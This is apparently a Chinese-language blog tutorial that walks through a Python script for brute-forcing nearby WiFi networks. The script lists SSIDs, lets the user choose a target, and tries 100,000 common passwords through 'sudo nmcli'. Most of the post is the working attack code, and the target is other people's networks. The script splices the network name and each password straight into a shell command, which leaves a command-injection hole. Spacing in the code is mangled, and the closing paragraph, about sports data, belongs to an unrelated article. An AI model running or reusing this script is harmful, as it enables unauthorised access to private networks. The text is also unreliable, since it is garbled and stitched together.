解锁WiFi密码,我只用了60行代码
WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。
因此,我们对WiFi密码的需求也没有之前那么迫切了。
如何破解WiFi密码?
本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。
-
WiFi列表 首先,我们需要获取附近的WiFi列表。 下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets: def display_targets(networks, security_type): print("Select a target: \n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i]) 这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks。

选择WiFi 获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi, def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max)) 这里很简单,就是一些通用的Python功能。

暴力破解
目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?
这里要用到一种比较常见的方式:暴力破解。
这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8):
time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
核心功能3个函数就完成了,只用了60行Python代码!
下面就把它们串联在一起:
def main():
require_root()
args = argument_parser()
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:
-
红色:测试失败
-
绿色:破解成功
-
紫色:测试中
现在,是不是发现这个看上去很复杂的事情变得简单许多?
结语
运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。
希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。
